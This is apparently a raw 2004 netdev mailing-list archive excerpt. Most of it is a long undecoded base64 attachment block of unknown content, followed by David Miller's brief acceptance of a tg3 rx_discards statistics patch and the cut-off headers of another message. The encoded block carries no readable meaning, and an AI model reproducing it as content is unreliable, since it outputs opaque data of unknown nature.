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 ------=_NextPart_000_0016----=_NextPart_000_0016-- ------------=_1084992683-1038-2241-- From davem@redhat.com Wed May 19 21:16:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 21:16:21 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4K4GAKO029378 for ; Wed, 19 May 2004 21:16:11 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4K4G6GG005106; Thu, 20 May 2004 00:16:06 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4K4G6005919; Thu, 20 May 2004 00:16:06 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4K4G4hN031099; Thu, 20 May 2004 00:16:05 -0400 Date: Wed, 19 May 2004 21:16:03 -0700 From: "David S. Miller" To: Greg Banks Cc: netdev@oss.sgi.com Subject: Re: [PATCH] count tg3 rx_discards stat for /proc/net/dev Message-Id: <20040519211603.0e2d5e73.davem@redhat.com> In-Reply-To: <40A1AFD8.D5593759@melbourne.sgi.com> References: <40A1AFD8.D5593759@melbourne.sgi.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5184 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 12 May 2004 15:02:16 +1000 Greg Banks wrote: > This small patch makes the rx_discards stat count towards the receive > error count visible in /proc/net/dev and thus in the output of ifconfig. > This stat is rarely non-zero unless you use multiple cards on the same > PCI bus under heavy load; but when it does happen you really want to > know about it. I agree, nice patch, applied. From davem@redhat.com Wed May 19 21:17:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 21:17:58 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4K4HjKO029535 for ; Wed, 19 May 2004 21:17:46 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4K4HiGG005379; Thu, 20 May 2004 00:17:44 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4K4Hi006149; Thu, 20 May 2004 00:17:44 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id 